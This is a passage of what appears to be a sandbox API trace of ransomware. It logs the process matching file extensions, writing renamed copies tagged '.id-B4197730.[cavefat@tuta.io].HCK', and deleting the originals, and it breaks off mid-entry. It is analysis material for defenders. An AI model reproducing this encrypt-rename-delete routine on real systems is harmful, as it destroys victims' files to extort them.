(lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".dbf") returned 4 [0148.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".1cd") returned 4 [0148.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".jpg") returned 4 [0148.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.984] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.985] lstrlenW (lpString="eula.rtf") returned 8 [0148.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.985] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4040) returned 1 [0148.985] CloseHandle (hObject=0x2e8) returned 1 [0148.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0148.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.985] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.985] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.985] GetLastError () returned 0x0 [0148.985] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xfc8, lpOverlapped=0x0) returned 1 [0148.987] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0148.988] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.988] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.988] SetEndOfFile (hFile=0x2f0) returned 1 [0148.988] CloseHandle (hObject=0x2f0) returned 1 [0148.989] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.989] SetEndOfFile (hFile=0x2e8) returned 1 [0148.989] CloseHandle (hObject=0x2e8) returned 1 [0148.989] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.990] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString=".doc") returned 4 [0148.990] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString=".docx") returned 5 [0148.990] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.990] lstrlenW (lpString=".pdf") returned 4 [0148.990] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString=".xls") returned 4 [0148.990] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.990] lstrlenW (lpString=".xlsx") returned 5 [0148.990] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.990] lstrlenW (lpString=".ppt") returned 4 [0148.990] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString=".zip") returned 4 [0148.990] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.990] lstrlenW (lpString=".rar") returned 4 [0148.990] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString=".bz2") returned 4 [0148.990] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString=".7z") returned 3 [0148.990] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString=".dbf") returned 4 [0148.990] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString=".1cd") returned 4 [0148.990] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString=".jpg") returned 4 [0148.990] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.990] lstrlenW (lpString=".doc") returned 4 [0148.991] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString=".docx") returned 5 [0148.991] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.991] lstrlenW (lpString=".pdf") returned 4 [0148.991] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString=".xls") returned 4 [0148.991] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.991] lstrlenW (lpString=".xlsx") returned 5 [0148.991] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.991] lstrlenW (lpString=".ppt") returned 4 [0148.991] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.991] lstrlenW (lpString=".zip") returned 4 [0148.991] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.991] lstrlenW (lpString=".rar") returned 4 [0148.991] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString=".bz2") returned 4 [0148.991] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString=".7z") returned 3 [0148.991] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.991] lstrlenW (lpString=".dbf") returned 4 [0148.991] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.991] lstrlenW (lpString=".1cd") returned 4 [0148.991] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0148.991] lstrlenW (lpString=".jpg") returned 4 [0148.991] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.991] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.991] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.991] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=82374) returned 1 [0148.991] CloseHandle (hObject=0x2e8) returned 1 [0148.991] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0148.992] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.992] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.992] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.992] GetLastError () returned 0x0 [0148.992] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0149.337] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0149.339] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.339] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.339] SetEndOfFile (hFile=0x2f0) returned 1 [0149.339] CloseHandle (hObject=0x2f0) returned 1 [0149.341] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.341] SetEndOfFile (hFile=0x2e8) returned 1 [0149.342] CloseHandle (hObject=0x2e8) returned 1 [0149.342] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.343] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0149.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.343] lstrlenW (lpString=".doc") returned 4 [0149.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".docx") returned 5 [0149.343] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.343] lstrlenW (lpString=".pdf") returned 4 [0149.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".xls") returned 4 [0149.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".xlsx") returned 5 [0149.343] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.343] lstrlenW (lpString=".ppt") returned 4 [0149.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.343] lstrlenW (lpString=".zip") returned 4 [0149.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.343] lstrlenW (lpString=".rar") returned 4 [0149.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".bz2") returned 4 [0149.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".7z") returned 3 [0149.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.343] lstrlenW (lpString=".dbf") returned 4 [0149.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".1cd") returned 4 [0149.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".jpg") returned 4 [0149.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".doc") returned 4 [0149.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".docx") returned 5 [0149.344] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.344] lstrlenW (lpString=".pdf") returned 4 [0149.344] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".xls") returned 4 [0149.344] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".xlsx") returned 5 [0149.344] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.344] lstrlenW (lpString=".ppt") returned 4 [0149.344] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".zip") returned 4 [0149.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.344] lstrlenW (lpString=".rar") returned 4 [0149.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".bz2") returned 4 [0149.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".7z") returned 3 [0149.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".dbf") returned 4 [0149.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".1cd") returned 4 [0149.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0149.344] lstrlenW (lpString=".jpg") returned 4 [0149.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.344] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.344] lstrlenW (lpString="eula.rtf") returned 8 [0149.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.345] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6309) returned 1 [0149.345] CloseHandle (hObject=0x2e8) returned 1 [0149.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0149.345] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.345] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.345] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.345] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.345] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.345] GetLastError () returned 0x0 [0149.345] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0149.347] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0149.347] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.348] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.348] SetEndOfFile (hFile=0x2f0) returned 1 [0149.348] CloseHandle (hObject=0x2f0) returned 1 [0149.348] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.348] SetEndOfFile (hFile=0x2e8) returned 1 [0149.349] CloseHandle (hObject=0x2e8) returned 1 [0149.349] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.349] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString=".doc") returned 4 [0149.350] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString=".docx") returned 5 [0149.350] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.350] lstrlenW (lpString=".pdf") returned 4 [0149.350] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString=".xls") returned 4 [0149.350] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.350] lstrlenW (lpString=".xlsx") returned 5 [0149.350] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.350] lstrlenW (lpString=".ppt") returned 4 [0149.350] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString=".zip") returned 4 [0149.350] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.350] lstrlenW (lpString=".rar") returned 4 [0149.350] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString=".bz2") returned 4 [0149.350] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString=".7z") returned 3 [0149.350] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString=".dbf") returned 4 [0149.350] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString=".1cd") returned 4 [0149.350] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString=".jpg") returned 4 [0149.350] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.350] lstrlenW (lpString=".doc") returned 4 [0149.350] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.350] lstrlenW (lpString=".docx") returned 5 [0149.351] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.351] lstrlenW (lpString=".pdf") returned 4 [0149.351] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.351] lstrlenW (lpString=".xls") returned 4 [0149.351] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.351] lstrlenW (lpString=".xlsx") returned 5 [0149.351] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.351] lstrlenW (lpString=".ppt") returned 4 [0149.351] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.351] lstrlenW (lpString=".zip") returned 4 [0149.351] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.351] lstrlenW (lpString=".rar") returned 4 [0149.351] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.351] lstrlenW (lpString=".bz2") returned 4 [0149.351] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.351] lstrlenW (lpString=".7z") returned 3 [0149.351] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.351] lstrlenW (lpString=".dbf") returned 4 [0149.351] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.351] lstrlenW (lpString=".1cd") returned 4 [0149.351] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0149.351] lstrlenW (lpString=".jpg") returned 4 [0149.351] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.351] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.351] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.351] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=60816) returned 1 [0149.352] CloseHandle (hObject=0x2e8) returned 1 [0149.352] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0149.352] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.352] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.352] GetLastError () returned 0x0 [0149.352] 